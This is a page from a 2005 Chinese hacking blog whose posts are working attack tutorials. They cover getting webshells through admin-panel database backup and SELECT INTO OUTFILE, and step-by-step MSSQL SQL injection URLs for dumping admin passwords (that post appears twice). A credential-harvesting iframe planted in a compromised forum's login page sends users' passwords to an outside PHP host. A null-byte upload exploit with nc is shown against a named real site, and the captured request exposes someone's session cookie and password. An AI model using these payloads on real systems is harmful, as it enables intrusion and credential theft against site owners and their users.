关于作者

用户名:349888002
笔名:349888002
地区:
行业:其他

日历  

快速登录

+ 用户名:
+ 密 码:

在线留言



另类

访问统计:
文章个数:61
评论个数:9
留言条数:0




Powered by BlogDriver 2.1

交流天空

 

欢迎大家到唯一下载 http://www.down8.org
http://www.52rmb.com

文章

从后台到webshell的一点思路
asp+acc/mssql程序

  主要是利用后台对access数据库的"备份数据库"或"恢复数据库"功能,"备份的数据库路径"等变量没有过滤导致可以把任意文件后缀改为asp,从而得到webshell,msssql版的程序就直接应用了access版的代码,导致sql版照样可以利用。具体方法和分析可以参考angel的文章《动网论坛7.0获得WebShell的分析》。据我所知,目前还有很多的asp程序后台存在这样的漏洞,利用方法大同小异。
php+mysql程序
① 利用后台的数据查询功能
  在有的程序后台提供直接对mysql数据查询功能,我们就可以利用它执行SELECT ... INTO OUTFILE查询输出php文件,因为所有的数据是存放在mysql里的,所以我们可以通过正常手段把我们的webshell代码插入mysql在利用SELECT ... INTO OUTFILE语句导出shell。我们这里用ipb论坛做个演示:
第一步:把我们的webshell代码写入数据库
  随便找个可以写入的地方(注意对你输入的要没有进行过滤),这里我们就用后台的新建立个论坛,在论坛描叙里写入我们的shell代码<?system($c);?> 提交 ok这样就把我们的shell写入了数据库了。
第二步:导出webshell
  我们来到"SQL Management"里的"mySQL Toolbox"在"Run Query"里写入语句:
SELECT * FROM 123forums into OUTFILE 'd:\shell.php'

  shell代码所在的表,web目录绝对路径,如果主机mysql查询成功,我们就得到我们webshell:
http://127.0.0.1/test/shell.php?c=dir

② 利用mysql数据备用
  思路结合上面的2种情况,有的程序在备用数据库时 对备用文件的类型没有限制,从而导出php文件,我们和①中那样,通过把webshell代码写入数据库中,在利用数据备用导出webshell,我们大家熟悉的vbb论坛就可以用这个方法来得到webshell,我们设置用户的签名为<?system($c);?> 然后到后台的数据库备份,在"在服务器上备份数据库到文件"里改为shell.php,提交保存。我们就可以在论坛的根目录下访问我们的shell了,因为可能到处的文件比较大,我们可以换一个可以生成文件的webshell代码。
补充思路
  利用web后台系统设置,如果是系统设置是保存在php/asp文件了,我们可以同过在设置里写入webshell代码到保存设置的php/asp文件了.
演示
  程序sablog,sablog的基本设置保存在admin\settings.php 由于后台在提交设置的变量十没有过滤,导致我们可以向admin\settings.php写入任意代码。
  进入后台--"基本设置"--"blog名称"(其他项也可以)--填入代码:sss";phpinfo();"ss --提交。
  这样我们就把phpinfo()写入了admin\settings.php,我们可以看到admin\settings.php正常显示php的信息。
小结
  上面是php等系统的演示,同样也适合asp等其他的系统(比如动力,惊云下载等等)。只是注意在写代码的时候要小心,如果代码有错,可能导致整个web系统的瘫痪。
  还有一个是利用上传漏洞的 这个就不要多说了 呵呵:)。

- 作者: 349888002 2005年01月7日, 星期五 00:05  回复(0) |  引用(0) 加入博采

从暴库到暴密码的一般步骤
看了臭要饭写的跨库查询,我整理了一下从暴库到暴出密码等的一般
步骤,使得思路更清晰些。
SQL INJECTION 灵活多变,注入的语句不一,下面只提供暴库的一般
步骤,希望能对你有帮助。1:暴出所有库名.
http://www.***.com/***.asp?id=1 and 0<>(select count(*)
from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的数据库名

2:暴出库中的表
假设存在一个bbs的数据库,提交下面的语句:
http://www.***.com/jump.asp?id=1 and 0<>(select top 1 name
from bbs.dbo.sysobjects where xtype='U')
来得到一个表 假设为 admin
提交:
http://www.***.com/jump.asp?id=1 and 0<>(select top 1 name
from bbs.dbo.sysobjects where xtype='U' and name not in
('Admin'))
来得到其他的表。

3:暴出表中的字段
提交:
http://www.***.com/***.asp?id=1 and 0<>(select count(*)
from bbs.dbo.sysobjects where xtype='U' and name='admin'
and uid>(str(id)))
得到UID的数值假设为18779569 uid=id
提交:
http://www.***.com/***.asp?id=1 and 0<>(select top 1 name
from bbs.dbo.syscolumns where id=18779569)
得到一个admin的一个字段,假设为 user_id
提交:
http://www.***.com/***.asp?id=1 and 0<>(select top 1 name
from bbs.dbo.syscolumns where id=18779569 and name not in
('id',...))
来暴出其他的字段

4:暴出用户名和密码等
假设存在user_id username ,password 等字段,提交:
http://www.***.com/***.asp?id=1 and 0<(select user_id from
BBS.dbo.admin where username>1)
可以得到用户名
依次可以得到密码。。。。。

- 作者: 349888002 2005年01月2日, 星期日 21:45  回复(0) |  引用(0) 加入博采

从暴库到暴密码的一般步骤
看了臭要饭写的跨库查询,我整理了一下从暴库到暴出密码等的一般
步骤,使得思路更清晰些。
SQL INJECTION 灵活多变,注入的语句不一,下面只提供暴库的一般
步骤,希望能对你有帮助。1:暴出所有库名.
http://www.***.com/***.asp?id=1 and 0<>(select count(*)
from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的数据库名

2:暴出库中的表
假设存在一个bbs的数据库,提交下面的语句:
http://www.***.com/jump.asp?id=1 and 0<>(select top 1 name
from bbs.dbo.sysobjects where xtype='U')
来得到一个表 假设为 admin
提交:
http://www.***.com/jump.asp?id=1 and 0<>(select top 1 name
from bbs.dbo.sysobjects where xtype='U' and name not in
('Admin'))
来得到其他的表。

3:暴出表中的字段
提交:
http://www.***.com/***.asp?id=1 and 0<>(select count(*)
from bbs.dbo.sysobjects where xtype='U' and name='admin'
and uid>(str(id)))
得到UID的数值假设为18779569 uid=id
提交:
http://www.***.com/***.asp?id=1 and 0<>(select top 1 name
from bbs.dbo.syscolumns where id=18779569)
得到一个admin的一个字段,假设为 user_id
提交:
http://www.***.com/***.asp?id=1 and 0<>(select top 1 name
from bbs.dbo.syscolumns where id=18779569 and name not in
('id',...))
来暴出其他的字段

4:暴出用户名和密码等
假设存在user_id username ,password 等字段,提交:
http://www.***.com/***.asp?id=1 and 0<(select user_id from
BBS.dbo.admin where username>1)
可以得到用户名
依次可以得到密码。。。。。

- 作者: 349888002 2005年01月2日, 星期日 21:35  回复(0) |  引用(0) 加入博采

入侵dvbbs论坛后获取全部人密码另一法
记得网络上有篇文章是说利用修改登陆页面可以获取所有登陆者的密码!
因为asp空间难找,而且,修改起来不是很适合菜鸟,我这提供另外一种方式!

前提,你必须有个php空间。
http://www.512j.com
在这里可以免费得到10MB的
假设我们的空间是http://test.512j.com
在目录下建立一个文件a.php
代码
以下内容为程序代码:
<?
//a.php
$s="ceshi.txt";//密码保存为ceshi.txt
$fp=@fopen($s,"a+");//打开ceshi.txt,准备写咯。
$time = time();//获取时间 (登陆者)
$ip="$REMOTE_ADDR";//获取IP(登陆者)
$newfp= $time."|".$user."|".$password."|".$ip."|".chr(13).chr(10);//所有数据,时间,用户,密码,IP等等分别属于newfp
@fputs($fp,$newfp);//写newfp里的所有内容,@是用来屏蔽错误的!
@fclose($fp);//关闭ceshi.txt这个文件!
?>


然后修改对方的login.asp
这里不需要懂得任何语言!
在对方login.asp的最上面写就可以了!
以下内容为程序代码:
<iframe frameborder=0 width='00%' height=00 scrolling=no src='站点地址/a.php?user=<%=request.form("username")%>&password=<%=request.form("password")%>'></iframe>


这样对方登陆之后站点的使用的帐号和密码就会保存在目录下的ceshi.txt里了!呵呵,保存格式为:
这是时间|帐号|密码|IP地址
这是方便将来写个页面把它读出来,以免记录大到打又打不开,删又删不了了就是很麻烦了!!!
呵呵,希望能给大家带来另外一种思路!!!

- 作者: 349888002 2005年01月2日, 星期日 13:36  回复(0) |  引用(0) 加入博采

PHP/ASP上传漏洞探究
1:传漏洞利用的原理只是针对form格式上传的asp和php脚本***
nc(netcat)
用于提交数据包
dos界面下运行:
nc -vv www.***.com 80<1.txt
-vv: 回显
80: www端口
1.txt: 就是你要发送的数据包
(更多使用方法请查看本区的帖子)
wse(wsockexpert)
对本机端口的监视,抓取ie提交的数据包
2:漏洞原理
下面例子假设的前提
www主机: www.***.com;
bbs路径 : /bbs/
漏洞源于对动网上传文件的研究,建议有一定编程经验的
看看dvbbs的upfile.asp文件,没有必要全部看懂
upfile是通过生成一个form表上传,如下
<form name="form" method="post" action="upfile.asp" ...>
<input type="hidden" name="filepath" value="uploadface">
<input type="hidden" name="act" value="upload">
<input type="file" name="file1">
<input type="hidden" name="fname">
<input type="submit" name="submit" value="上传" ...></form>
用到的变量:
filepath 默认值uploadface 属性hiden
act 默认值upload 属性hiden
file1 就是你要传的那个文件
关键是 filepath 这个变量!
默认情况下我们的文件上传到www.***.com/bbs/uploadface/
文件是用你的上传时间命名的,就是upfile里的这一句
filename=formpath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&rannum&"."&fileext
--------------------------------------
我们知道计算机里面的数据是一""为标致的用过c语言的都知道
char data[]="bbs"
这个data数组长度是4: b b s
如果我们构造filepath如下,会怎么样呢?
filepath="/newmm.asp"
我们在2004.09.24.08.24传的文件就会发生变化
没有改时:
_blank>http://www.***.com/bbs/uploadface/200409240824.jpg
用我们构造的filepath时:
_blank>http://www.***.com/newmm.asp/200409240824.jpg
这样当服务器接收filepath数据时,检测到newmm.asp后面的
就理解为filepath的数据就结束了
这样我们上传的文件,比如c:.asp
就保存成: _blank>http://www.***.com/newmm.asp
3:后期补充
漏洞公布以后很多网站做了相应的处理,但是对于filepath的过滤和处理都不行
有很多网站只是加了n个hiden属性的变量对付网上公布的upfile.exe就是那个
上传漏洞利用工具或者filepath变量利用工具(老兵的)...但是最基本的没改啊。。
而且很对网站的插件里有类似的漏洞,我要说的不要依赖哪些专门的工具
自己改wse抓到的包里的filepath变量,然后在用nc提交。。。
就算他加n个hiden变量也于事无补。
当然,如果对filepath做了很严格的过滤的话我们的这些理论就将宣告终结
就是我们的新理论诞生的时候!

4:详细实例:
---------------------
一、wse抓包结果(存到1.txt里):
post /bbs/upphoto/upfile.asp http/1.1
accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
referer: _blank>http://www.xin126.com/bbs/upphoto/upload.asp
accept-language: zh-cn
content-type: multipart/form-data; boundary=-----------7d423a138d0278
accept-encoding: gzip, deflate
user-agent: mozilla/4.0 (compatible; msie 6.0; windows nt 5.1; .net clr 1.1.4322)
host: _blank>www.xin126.com
content-length: 1969
connection: keep-alive
cache-control: no-cache
cookie: aspsessionidaccccdcs=njhcphpalbcankobechkjanf; iscome=1; gamvancookies=1; regtime=2004%2d9%2d24+3%3a39%3a37; username=szjwwwww; pass=5211314; dl=0; userid=62; ltstyle=0; logintry=1; userpass=eb03f6c72908fd84

-----------------------------7d423a138d0278
content-disposition: form-data; name="filepath"

../medias/myphoto/
-----------------------------7d423a138d0278
... ...

上传
---------------7d423a138d0278-----------------
二、ultraedit打开1.txt改数据:
......
-----------------------------7d423a138d0278
content-disposition: form-data; name="filepath"
/newmm.asp█ <===这个黑色代表一个空格是 0x20,改成0x00就可以了
......
----------------------------
三、重新计算cookies长度,然后nc提交

nc -vv _blank>www.xin126.com 80 <1.txt

ultraedit是一个16位编辑器网上可以下载得到
我们主要用来写那个结束标致: ====>16位表示:0x00或者00h
其实你改的时候就直接再filepath的结尾处加个00就ok了

计算cookies长度===>你把fillepath改了之后、肯定是或+或—cookies的长度变了
......
host: _blank>www.xin126.com
content-length: 1969 <======就是这个
connection: keep-alive
cache-control: no-cache
......
计算会吧?一个字母、数字就是1

对于上传漏洞提出的解决思路:(仅供参考)

1、一般的上传是把上传路径作为一个变量来处理
===>我们的对策就是把filepath变成常量。。。
这个方法是目前最有效的(我认为的)

2、加强对于的处理,原来我们是读到这里就结束
我们继续读直道下一个变量开始的地方,处理就ok了

附:NC Usage:
监听外部主机
nc [-options] hostname port[s] [ports] ...
监听本地主机
nc -l -p port [options] [hostname] [port]
options:
-d detach from console, stealth mode
-e prog inbound program to exec [dangerous!!]
-g gateway source-routing hop point[s], up to 8
-g num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-l listen mode, for inbound connects
-l listen harder, re-listen on socket close
-n numeric-only ip addresses, no dns
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-s addr local source address
-t answer telnet negotiation
-u udp mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-z zero-i/o mode [used for scanning]
port numbers can be individual or ranges: m-n [inclusive]

- 作者: 349888002 2005年01月1日, 星期六 17:26  回复(0) |  引用(0) 加入博采